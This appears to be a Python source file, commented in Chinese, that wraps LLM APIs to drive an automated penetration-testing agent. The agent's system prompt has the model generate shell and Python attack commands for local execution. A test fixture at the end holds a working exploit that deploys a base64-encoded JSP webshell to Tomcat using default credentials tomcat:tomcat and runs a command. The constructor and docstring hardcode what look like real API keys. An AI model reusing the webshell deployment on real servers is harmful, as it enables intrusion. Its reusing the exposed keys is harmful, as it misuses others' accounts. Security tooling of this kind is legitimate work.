You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
332 lines
15 KiB
332 lines
15 KiB
'''
|
|
实现对大模型调用的封装，隔离具体使用的LLM
|
|
pip install openai
|
|
export OPENAI_API_KEY="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"
|
|
'''
|
|
import openai
|
|
import json
|
|
import re
|
|
import os
|
|
from openai import OpenAI
|
|
from openai import OpenAIError, APIConnectionError, APITimeoutError
|
|
from myutils.ConfigManager import myCongif
|
|
from myutils.MyTime import get_local_timestr
|
|
from myutils.MyLogger_logger import LogHandler
|
|
from myutils.ContentManager import ContentManager
|
|
|
|
class LLMManager:
|
|
def __init__(self,illm_type):
|
|
self.logger = LogHandler().get_logger("LLMManager")
|
|
self.api_key = None
|
|
self.api_url = None
|
|
self.ContM = ContentManager()
|
|
|
|
#temperature设置
|
|
if illm_type == 0: #腾讯云
|
|
self.api_key = "fGBYaQLHykBOQsFwVrQdIFTsYr8YDtDVDQWFU41mFsmvfNPc"
|
|
self.api_url = ""
|
|
elif illm_type == 1: #DS
|
|
self.api_key ="sk-10360148b465424288218f02c87b0e1b"
|
|
self.api_url ="https://api.deepseek.com/v1"
|
|
self.model = "deepseek-reasoner" #model=deepseek-reasoner -- R1 model=deepseek-chat --V3
|
|
elif illm_type == 2: #2233.ai
|
|
self.api_key = "sk-J3562ad9aece8fd2855bb495bfa1a852a4e8de8a2a1IOchD"
|
|
self.api_url = "https://api.gptsapi.net/v1"
|
|
self.model = "o3-mini-2025-01-31"
|
|
elif illm_type ==3: #GPT
|
|
# 定义代理服务器地址
|
|
proxy_url = "http://192.168.3.102:3128"
|
|
os.environ["HTTP_PROXY"] = proxy_url
|
|
os.environ["HTTPS_PROXY"] = proxy_url
|
|
self.api_key ="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"
|
|
self.api_url = "https://api.openai.com/v1"
|
|
self.model = "o3-mini-2025-01-31"
|
|
openai.proxy = proxy_url
|
|
openai.api_key = self.api_key
|
|
elif illm_type ==4:#通义Qwen3
|
|
self.api_key ="sk-48028b85e7604838b5be5bf6a90222cb"
|
|
self.api_url ="https://dashscope.aliyuncs.com/compatible-mode/v1"
|
|
self.model = "qwen3-235b-a22b"
|
|
else:
|
|
self.logger.error("模型参数选择异常！")
|
|
return
|
|
# 创建会话对象 -- 一个任务的LLM必须唯一
|
|
self.client = OpenAI(api_key=self.api_key, base_url=self.api_url)
|
|
|
|
'''
|
|
**决策原则**
|
|
- 根据节点类型和状态，优先执行基础测试（如端口扫描、服务扫描）。
|
|
- 仅在发现新信息或漏洞时新增子节点。
|
|
- 确保每个新增节点匹配测试指令。
|
|
'''
|
|
# 初始化messages
|
|
def build_initial_prompt(self,node):
|
|
if not node:
|
|
return
|
|
#根节点初始化message----后续有可能需要为每个LLM生成不同的system msg
|
|
node.parent_messages = [{"role": "system",
|
|
"content":'''
|
|
你是一位资深的渗透测试专家，现在由你来指导针对一个目标的渗透测试工作，需要生成具体的指令交给本地程序执行，再根据本地程序提交的执行结果，规划下一步指令，直至全面完成渗透测试。
|
|
**总体要求**
|
|
1.以测试目标为根节点，以测试点作为子节点的形式来规划整个渗透测试方案；
|
|
2.测试点的规划需要基于执行结果：是测试目标涉及的，且是完整的，具体为：a.完成信息收集，根据信息收集到的内容，所有可能存在中高风险的测试点；b.漏洞验证成功，还能进一步利用的测试点；
|
|
3.新增测试点的约束：只有当当前节点提交了所有测试指令的执行结果，且没有新的测试指令需要验证时，再统一判断是否需要新增子节点进一步进行验证测试，若没有，则结束该路径的验证；
|
|
4.若一次性新增的子节点过多，无法为每个节点都匹配测试指令，请优先保障新增测试节点的全面；
|
|
5.生成的指令有两类：节点指令和测试指令，指令之间必须以空行间隔，不能包含注释和说明；
|
|
6.若无节点操作，节点指令可以不生成，若当前节点已完成测试，测试指令可以不生成；
|
|
7.只有当漏洞验证成功后，才能生成漏洞验证成功的指令，避免误报。
|
|
**节点指令格式**
|
|
- 新增节点：{\"action\":\"add_node\", \"parent\": \"父节点\", \"nodes\": \"节点1，节点2\"}；
|
|
- 漏洞验证成功：{\"action\": \"find_vul\", \"node\": \"节点\",\"vulnerability\": {\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息（没有可为空）\"}}；
|
|
- 节点完成测试：{\"action\": \"end_work\", \"node\": \"节点\"}；
|
|
**测试指令格式**
|
|
- dash指令：```dash-[节点路径]指令内容```包裹，若涉及到多步指令，请生成python指令；
|
|
- python指令：```python-[节点路径]指令内容```包裹，主函数名为dynamic_fun，需包含错误处理，必须返回一个tuple(status, output)；
|
|
- [节点路径]为从根节点到目标节点的完整层级路径；
|
|
**测试指令生成准则**
|
|
1.可以是dash指令，或python指令，必须按格式要求生成；
|
|
2.必须对应已有节点，或同时生成对应新增节点指令；
|
|
3.优先使用覆盖面广成功率高的指令；不能同时生成重复或作用覆盖的指令；
|
|
4.若需要多条指令配合测试，请生成对应的python指令，完成闭环返回；
|
|
5.避免用户交互，必须要能返回，返回的结果需要能利于你规划下一步指令。
|
|
**核心要求**
|
|
- 指令之间必须要有一个空行；
|
|
- 需确保测试指令的节点路径和指令的目标节点一致,例如：针对子节点的测试指令，节点路径不能指向当前节点；
|
|
**响应示例**
|
|
{\"action\":\"add_node\", \"parent\": \"192.168.1.100\", \"nodes\": \"3306端口,22端口\"}
|
|
|
|
```dash-[目标系统->192.168.1.100->3306端口]
|
|
mysql -u root -p 192.168.1.100
|
|
```
|
|
'''}] # 一个messages
|
|
|
|
# 调用LLM生成指令
|
|
def get_llm_instruction(self,prompt,node,DataFilter):
|
|
'''
|
|
1.由于大模型API不记录用户请求的上下文，一个任务的LLM不能并发！
|
|
:param prompt:用户本次输入的内容
|
|
:return: instr_list
|
|
'''
|
|
#添加本次输入入该节点的message队列
|
|
message = {"role":"user","content":prompt}
|
|
node.cur_messages.append(message) #更新节点message
|
|
|
|
sendmessage = []
|
|
sendmessage.extend(node.parent_messages)
|
|
sendmessage.extend(node.cur_messages)
|
|
#提交LLM
|
|
#准备请求参数
|
|
params = {
|
|
"model": self.model,
|
|
"messages": sendmessage,
|
|
}
|
|
# 某些模型额外的参数
|
|
stream = False
|
|
if self.model == "o3-mini-2025-01-31":
|
|
params["reasoning_effort"] = "high"
|
|
elif self.model == "qwen3-235b-a22b":
|
|
stream = True
|
|
params["stream"] = stream
|
|
params["extra_body"] = {"enable_thinking": True,"thinking_budget": 3000}
|
|
|
|
try:
|
|
# 调用 API
|
|
response = self.client.chat.completions.create(**params)
|
|
except APITimeoutError:
|
|
self.logger.error("LLM API 请求超时")
|
|
return False, "","","", f"调用超时（model={self.model})"
|
|
except APIConnectionError as e:
|
|
self.logger.error(f"网络连接错误: {e}")
|
|
return False, "","", "", "网络连接错误"
|
|
except OpenAIError as e:
|
|
# 包括 400/401/403/500 等各种 API 错误
|
|
self.logger.error(f"LLM API 错误: {e}")
|
|
return False, "","", "", f"API错误: {e}"
|
|
except Exception as e:
|
|
# 兜底，防止意外
|
|
self.logger.exception("调用 LLM 时出现未预期异常")
|
|
return False, "","", "", f"未知错误: {e}"
|
|
|
|
reasoning_content = ""
|
|
content = ""
|
|
if stream: #流式模式
|
|
is_answering = False
|
|
for chunk in response:
|
|
if not chunk.choices:
|
|
continue
|
|
delta = chunk.choices[0].delta
|
|
if hasattr(delta, "reasoning_content") and delta.reasoning_content is not None:
|
|
reasoning_content += delta.reasoning_content
|
|
|
|
# 收到content，开始进行回复
|
|
if hasattr(delta, "content") and delta.content:
|
|
if not is_answering:
|
|
is_answering = True
|
|
content += delta.content
|
|
else:
|
|
#LLM返回结果处理
|
|
choice = response.choices[0].message
|
|
#LLM返回处理
|
|
if self.model == "deepseek-reasoner":
|
|
reasoning_content = getattr(choice, "reasoning_content", "")
|
|
content = choice.content
|
|
elif self.model == "o3-mini-2025-01-31" or self.model == "qwen-max-latest":
|
|
content = choice.content
|
|
else:
|
|
self.logger.error("处理到未预设的模型！")
|
|
return False,"","","","处理到未预设的模型！"
|
|
# 记录llm历史信息
|
|
node.cur_messages.append({'role': 'assistant', 'content': content})
|
|
print(content)
|
|
real_con = DataFilter.filter_instruction(content)
|
|
#按格式规定对指令进行提取
|
|
node_cmds,commands = self.fetch_instruction(real_con)
|
|
return True,node_cmds,commands,reasoning_content, content
|
|
|
|
def node_cmd_repair(self,part):
|
|
'''
|
|
对节点指令的合法性修复
|
|
:param part:
|
|
:return:
|
|
'''
|
|
#遇到漏洞赋值的节点指令缺少一个大括号，目前策略自动补全
|
|
# {"action":"find_vul", "node": "8180端口-Tomcat","vulnerability": {"name":"Tomcat弱口令漏洞","risk":"高危","info":"默认凭证tomcat:tomcat可访问管理控制台"}
|
|
whole = self.ContM.extract_json(part)
|
|
if not whole: #加一次就应该很少见了，不补充多次，也暂时只针对}
|
|
part += "}"
|
|
return part
|
|
|
|
def fetch_instruction(self,response_text):
|
|
'''
|
|
*****该函数很重要，需要一定的容错能力，解析LLM返回内容*****
|
|
处理边界：只格式化分析LLM返回内容，指令和节点操作等交其他模块。
|
|
节点控制指令
|
|
渗透测试指令
|
|
提取命令列表，包括：
|
|
1. Python 代码块 python[](.*?)
|
|
2. Shell 命令``dash[](.*?)```
|
|
:param text: 输入文本
|
|
:return: node_cmds,python_blocks,shell_blocks
|
|
'''
|
|
|
|
#针对llm的回复，提取节点操作数据和执行的指令----
|
|
# 正则匹配 Python 代码块
|
|
python_blocks = re.findall(r"```python-(.*?)```", response_text, flags=re.DOTALL)
|
|
# 处理 Python 代码块，去除空行并格式化
|
|
python_blocks = [block.strip() for block in python_blocks]
|
|
|
|
#正则匹配shell指令
|
|
shell_blocks = re.findall(f"```dash-(.*?)```", response_text, flags=re.DOTALL)
|
|
shell_blocks = [block.strip() for block in shell_blocks]
|
|
|
|
# 按连续的空行拆分
|
|
# 移除 Python和dash 代码块
|
|
text_no_python = re.sub(r"```python.*?```", "PYTHON_BLOCK", response_text, flags=re.DOTALL)
|
|
text = re.sub(r"```dash.*?```", "SHELL_BLOCK", text_no_python, flags=re.DOTALL)
|
|
|
|
# 这里用 \n\s*\n 匹配一个或多个空白行
|
|
parts = re.split(r'\n\s*\n', text)
|
|
node_cmds = []
|
|
commands = []
|
|
python_index = 0
|
|
shell_index = 0
|
|
for part in parts:
|
|
part = part.strip()
|
|
if not part:
|
|
continue
|
|
if "PYTHON_BLOCK" in part:
|
|
# 还原 Python 代码块
|
|
commands.append(f"python-code {python_blocks[python_index]}")
|
|
python_index += 1
|
|
elif "SHELL_BLOCK" in part:
|
|
commands.append(shell_blocks[shell_index])
|
|
shell_index +=1
|
|
else:#其他的认为是节点操作指令--指令格式还存在不确定性，需要正则匹配，要求是JSON
|
|
part = self.node_cmd_repair(part)
|
|
pattern = re.compile(r'\{(?:[^{}]|\{[^{}]*\})*\}')
|
|
for match in pattern.findall(part): #正常只能有一个
|
|
try:
|
|
node_cmds.append(json.loads(match)) # 解析 JSON 并添加到列表
|
|
except json.JSONDecodeError as e:#解析不了的不入队列
|
|
self.logger.error(f"LLM-{part}-JSON 解析错误: {e}") #这是需不需要人为介入？
|
|
return node_cmds,commands
|
|
|
|
def test_llm(self):
|
|
messages = [
|
|
{"role": "system", "content": "You are a helpful assistant."},
|
|
{"role": "user", "content": "讲个笑话吧。"}
|
|
]
|
|
response = self.client.chat.completions.create(
|
|
model=self.model,
|
|
reasoning_effort="medium",
|
|
messages=messages
|
|
)
|
|
print(response)
|
|
|
|
if __name__ == "__main__":
|
|
llm = LLMManager(3)
|
|
strcontent = '''
|
|
{"action":"find_vul", "node": "8180端口-Tomcat","vulnerability": {"name":"Tomcat弱口令漏洞","risk":"高危","info":"默认凭证tomcat:tomcat可访问管理控制台"}
|
|
|
|
```python-[目标系统->192.168.3.107->8180端口-Tomcat]
|
|
import requests
|
|
import base64
|
|
from io import BytesIO
|
|
|
|
def dynamic_fun():
|
|
try:
|
|
# 生成包含webshell的简易WAR包
|
|
war_content = base64.b64decode(
|
|
"UEsDBBQACAgIAJdWjkwAAAAAAAAAAAAAAAAJAAQATUVUQS1JTkYv/soAAAMAUEsHCAAAAAACAAAAAAAAAFBLAwQUAA" +
|
|
"gICACXVY5MAAAAAAAAAAAAAAAAFAAAAElNQL2V4cGxvaXQuanNwU0jNycnMS8tJ5XJRKEotyS8qyUx2SSxJ5QIAUEsH" +
|
|
"CFdDq4YIAAAAEAAAAFBLAQIeAxQACAgIAJdVjkwAAAAAAgAAAAAAAAAJAAQAAAAAAAAAAADsgQAAAABNRVRBLUlORi/" +
|
|
"6ygMAABQSwECHgMUAAgICACXVY5MV0OrhggAAAASAAAAFAAAAAAAAAAAAAAAAAClAAAAElNQL2V4cGxvaXQuanNwUEsF" +
|
|
"BgAAAAACAAIAqQAAAHwAAAAAAA=="
|
|
)
|
|
|
|
# 尝试部署WAR包
|
|
deploy_url = "http://192.168.3.107:8180/manager/text/deploy?path=/exploit"
|
|
res = requests.put(
|
|
deploy_url,
|
|
auth=('tomcat', 'tomcat'),
|
|
data=war_content,
|
|
timeout=10
|
|
)
|
|
|
|
if "FAIL" in res.text:
|
|
return (False, f"Deploy failed: {res.text}")
|
|
|
|
# 验证命令执行
|
|
cmd_url = "http://192.168.3.107:8180/exploit/exploit.jsp?cmd=id"
|
|
cmd_res = requests.get(cmd_url, timeout=5)
|
|
|
|
return (True, f"Deploy success! Command result: {cmd_res.text[:100]}") if cmd_res.status_code == 200 else (
|
|
False, "Command execution failed")
|
|
|
|
except Exception as e:
|
|
return (False, f"Exploit error: {str(e)}")
|
|
```
|
|
|
|
{"action":"add_node", "parent": "8180端口-Tomcat", "nodes": "Web应用路径遍历,Tomcat版本漏洞"}
|
|
|
|
```python-[目标系统->192.168.3.107->8180端口-Tomcat->Tomcat版本漏洞]
|
|
import requests
|
|
def dynamic_fun():
|
|
try:
|
|
# 检测CVE-2020-1938
|
|
vul_check = requests.get(
|
|
"http://192.168.3.107:8180/docs/",
|
|
headers={"Host": "localhost"},
|
|
timeout=5
|
|
)
|
|
if "Apache Tomcat/8." in vul_check.headers.get('Server', ''):
|
|
return (True, "可能存在Ghostcat漏洞(CVE-2020-1938)")
|
|
return (False, "未检测到易受攻击版本")
|
|
except Exception as e:
|
|
return (False, f"检测失败: {str(e)}")
|
|
```
|
|
'''
|
|
node_cmds, commands = llm.fetch_instruction(strcontent)
|
|
print(node_cmds)
|
|
print(commands)
|
|
|
|
|